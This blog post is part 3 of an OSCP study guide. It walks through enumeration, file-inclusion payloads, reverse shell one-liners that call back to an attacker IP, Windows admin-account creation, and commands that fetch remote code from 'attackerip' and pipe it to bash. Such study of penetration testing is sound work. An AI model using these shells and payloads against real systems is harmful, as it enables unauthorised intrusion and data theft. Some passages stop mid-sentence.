Hakluke's Ultimate OSCP Guide: Part 3 — Practical hacking tips and tricks

Luke Stephens (@hakluke)
Mar 31, 2018 · 14 min read ★

Man walks through door with large shadow. OFFENSIVE security logo dramatically appears in a red abyss.

So, you've finally signed up, paid the money, waited for the start date, logged in to the VPN, and are suddenly hit in the face with a plethora of vulnerable boxes and you have no idea where to start.

This part of the guide will show the general process I tend to use when approaching a

The above command will test whether all machines in the 10.0.0.0/24 subnet are alive (10.0.0.0–10.0.0.255). You may need to change this for the lab network.

Once I have chosen a host, the first thing I always do is:

```
nmap -A -oA nmap $targetip
```

This will scan the 1024 most common ports, run OS detection, run default nmap scripts, and save the results in a number of formats in the current directory.

Scanning more deeply:

```
nmap -v -p- -sT $targetip
```

This will scan all 65535 ports on $targetip with a full connect scan. This scan will probably take a very long time. The -v stands for verbose, so that when a new port is discovered, it will print it out straight away instead of having to wait until the end of the scan, scanning this many ports over the internet takes a long time. I would often leave the scan running overnight, or move on to a different box in the meantime.

Probing services

From these initial nmap scans, we should have gained a lot of information about machine — we know what ports are open, and usually what services they are running.

Brute forcing HTTP(s) directories and files with dirsearch

There are many tools for this purpose including dirb, dirbuster and gobuster — all of these have their advantages and should be learned, but my favourite is dirsearch. You can get it from https://github.com/maurosoria/dirsearch. This syntax will get you started, it defines a wordlist file, URL and file extension to look for.

```
./dirsearch.py -w /usr/share/wordlists/dirbuster/directory-list-
2.3-medium.txt -u $targetip -e php
```

But dirsearch can do more! Check the README.

SMB

Nmap scripts

Kali comes with a bunch of really great nmap scripts which can be used to probe SMB further — these scripts can be viewed with the following command.

```
locate *.nse | grep smb
```

Using the scripts is as simple as:

```
nmap -p 139,445 --script=$scriptname $targetip
```

just run the -a “do everything” option, which looks like this:

```
enum4linux -a $targetip
```

smbclient

This tool is for connecting to a box via SMB. It basically works the same as a command line FTP client. Sometimes you can connect to a box and browse files without even having credentials, so it’s worth a check!

```
smbclient \\\\$ip\\$share
```

FTP

Anonymous Access

There are a number of nmap scripts which can help with enumerating FTP, but the very first thing to check is whether anonymous access is enabled.

```
ftp $targetip
Username: anonymous
Password: anything
```

This has varying degrees of success, most of the time, it won’t work. Sometimes you will be able to read files but not write them, and other times you will be presented with

Manual banner grabbing

You can always connect to a service using netcat and see what information it gives you.

```
nc $targetip $port
```

Finding exploits

Searchsploit will search all the exploits in the exploit-db database. To update your database:

```
searchsploit -u
```

To search for exploits on a particular service, kernel or OS.

```
searchsploit $multiple $search $terms
```

Google

Google is a good source of information, whodathunkit? Try search terms which contain the service name, version and the word ‘exploit’. For example,

```
proftpd 1.3.5 exploit
```

Metasploit

vulnerabilities, and with practice, you will become better at finding them.

First things first, is this a known webapp, or a custom one? Try searching the name, look at the source code, look for version numbers and login screens. If it is a known webapp — you might find a known vulnerability using searchsploit or google.

Burp Suite

Burp suite is a very handy tool for testing webapps. I would go as far as saying it is my single favourite penetration testing tool. If you're crafting a RCE payload or SQL injection, it's much quicker and easier to send the HTTP request to the repeater in burp and edit the payload there than to try editing it in the browser. It's worth learning the more advanced Burp features too, both for OSCP and for your future in cyber!

SQL Injections

If a developer is incompetent and/or lazy, a text field in a webapp can sometimes end up being passed (unsanitized) into an SQL query. If that is the case, you may be able to use this vulnerability to bypass login forms, dump databases (credentials?), and even write files. A full summary of SQL injection methods would be a whole other post, but for now, you can checkout the OWASP guides and use SQLMap. Important — this tool is NOT allowed to be used in the exam at all, however, you should learn how to use it by experimenting with it in the labs.

One huge time-saver when learning SQLMap is to use the -r switch. You can catch the vulnerable request using a proxy like Burp, save it to a text file, and then use SQLMap to scan it just by running:

RFIs occur when you can include a remote file (perhaps one that is hosted on your local machine). RFIs are typically easier to exploit, because you can simply host some code on your local machine, and point the RFI to that code to execute it.

LFIs occur when you can include a file on the target machine, they can be handy for reading local files (such as /etc/passwd), but if you can somehow inject your own code into the system somewhere, you can often turn an LFI into remote code execution.

Let's say that we have a `page` parameter which is vulnerable to a file inclusion vuln in the following URL:

```
http://target.com/?page=home
```

If this is a Linux box, we could test for a LFI by navigating to:

```
http://target.com/?page=./../../../../../../../../../etc/passwd%00
```

If the box is vulnerable, we might see the contents of /etc/passwd on the target printed to the page.

If you were super observant, you may have noticed that I put a %00 on the end of the URL. This is called a null byte, and it's purpose is to terminate the string. This technique does not work on newer versions of PHP, but I found that it worked for many of the LFI/RFI vulnerabilities in the labs. If the underlying vulnerable code looks like

contains our own code, and then visit this URL:

```
http://target.com/?page=http://hackerip/evil.txt%00
```

If successful, the code contained in evil.txt will be executed on our target.

Code and Command Injection

On some occasions, you may come across web applications which allow execution of code directly. This comes in many forms, it may be a Wordpress backend (which by default, allows the editing of PHP files), a web based terminal emulator, a PHP/Python/Perl sandbox, or some kind of online tool which runs a system command with user input and displays the output.

There are too many avenues to explore here, but use your imagination. Try to think about how the code may look on the backend, and how you might be able to inject your own commands.

I've got command execution, now what?

If you've found some kind of code execution vulnerability, it's time to upgrade to a shell.

Reverse Shells

A reverse shell is when you make your target machine connect back to your machine and spawn a shell. Popping a shell is the most exciting part of any hack.

> *NOTE: Most versions of netcat don't have -e built-in*

A collection of Linux reverse shell one-liners

These one-liners are all found on pentestmonkey.net. This website also contains a bunch of other useful stuff!

Bash

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

Perl

```
perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotob
yname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin
/sh -i");};'
```

Python

```
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STR
EAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

PHP

Netcat with -e

```
nc -e /bin/sh 10.0.0.1 1234
```

Netcat without -e (my personal favourite)

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234
>/tmp/f
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat
<&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

Windows reverse shells?

Windows is a bit of a different animal because it doesn't come with the same beautiful command line tools that spoil us in Linux. If we have the need for a reverse shell, then our entry-point was most likely some kind of file upload capability or rce, often through a web-application.

Firstly, if you happen to find a windows system with Perl (unlikely), give this a whirl

- If we are dealing with an IIS server, create our own .asp or .aspx reverse shell payload with msfvenom, and then execute it.
- Powershell injection

Here's some other useful commands on windows. If the machine you're facing has RDP enabled (port 3389), you can often create your own user and add it to the "Remote Desktop Users" group, then just log in via remote desktop.

Add a user on windows:

```
net user $username $password /add
```

Add a user to the "Remote Desktop Users" group:

```
net localgroup "Remote Desktop Users" $username /add
```

Make a user an administrator:

```
net localgroup administrators $username /add
```

Disable Windows firewall on newer versions:

Msfvenom is part of the Metasploit Framework, and is used to generate payloads which do all kinds of evil things, from generating reverse shells to generating message boxes for a pretty PoC.

I don't want to cover msfvenom in detail here, because you can find it easily in other places, like the offsec website.

File transfer methods — Linux

Once you've got command execution, there's a good chance you will want to transfer files to the victim box.

First things first — you need to find a directory you can write to. The first places to look are `/tmp` or `/dev/shm` but if that doesn't work for you, this command should find writeable directories:

```
find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \;
```

HTTP(S)

Now that we have found somewhere to transfer to, it's time to transfer the files! The quickest, easiest way to transfer files to a Linux victim is to setup a HTTP server on your Kali box. If you like being inefficient, set up Apache. If you would rather keep things easy, navigate to the directory containing the file(s) you wish to transfer and run:

```
root@kali# python -m SimpleHTTPServer 80
```

Netcat

If HTTP file transfers are not an option, consider using netcat. First set up your victim to listen for the incoming request and pipe the output to a file (it's best to use a high port number, as using port numbers < 1024 is often not allowed unless you're root):

```
nc -nvlp 55555 > file
```

Now back on your Kali machine, send the file!

```
nc $victimip 55555 < file
```

File Transfer Methods — Windows

If you're attacking windows, transferring files can be a little more tricky. My favourite method (which I learned from the OSCP manual!) is to create your own Windows wget by writing a VBS script. First you can create the file line by line by running these commands:

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts
>> wget.vbs
```

```
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,
1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

Then, using your script looks something like this:

```
cscript wget.vbs http://attackerip/evil.exe evil.exe
```

If you're attacking a windows box and this method isn't going to work for you, consider trying TFTP or SMB as alternate file transfer methods. If you're lucky, there may also be a file upload method in a web application.

Upgrading Reverse Shells to be Fully Interactive

Popping a reverse shell is exciting, but it's not quite the same as a fully interactive shell. You won't have tab completion, you can't run any interactive programs (including sudo), and if you press Ctrl+C, you will exit back to your local box, which sucks. So! Here's how to upgrade your Linux reverse shell.

```
python -c "import pty; pty.spawn('/bin/bash')"
```

You should get a nicer looking prompt, but your job isn't over yet. Press Ctrl+Z to

```
stty size
```

This should return two numbers, which are the number of rows and columns in your terminal. For example's sake let's say this command returned `48 120` Head on back to your victim box's shell and run the following.

```
stty -rows 48 -columns 120
```

You now have a beautiful interactive shell to brag about. Time to privesc!

Privilege Escalation — Linux

I'm not going to go into too much detail here because this post is getting too long already, and there's a lot to talk about! I will show you a few things that I try first though, and then I'll refer you over to g0tmi1k's post, which will fill in the gaps.

Sudo misconfiguration

First things first, if you have found any passwords on the system, try using them to become root by running:

```
sudo su
```

If not try running:

```
uname -ar
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based
```

These commands will tell you which kernel and distribution you are looking at. If you're lucky, Googling the kernel version and/or the distribution version may reveal known privilege escalation exploits to try.

Linenum

If you're into automation and efficiency, checkout LinEnum.sh. It's a great bash script that enumerates a lot of common misconfigurations in Linux systems. You can get it here: https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh

For next-level enumeration efficiency, host linenum.sh on a webserver on your Kali box, then on the victim, just run:

```
curl http://attackerip/LinEnum.sh | /bin/bash
```

G0tmi1k?

Lastly, let's pay homage to the most referenced Linux privilege escalation article of all time by g0tmi1k: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

http://www.fuzzysecurity.com/tutorials/16.html

Where Are The Other Parts of This Guide?

If you're not finished reading just yet the other parts of this guide are below:

Luke's Ultimate OSCP Guide: Part 1 — Is OSCP for you? Some things you should know before you start

Luke's Ultimate OSCP Guide: Part 2 — Workflow and documentation tips

The End?

The goal of this post is to provide some tips that helped me in my OSCP journey. If you think something is missing, have any questions, or just want to chat — get in touch! The easiest place to find me is on twitter, or right here on Medium.

Hacking Oscp Hakluke Cheatsheet Penetration Testing

WRITTEN BY

Luke Stephens (@hakluke)

Pentester | Hubby | Musician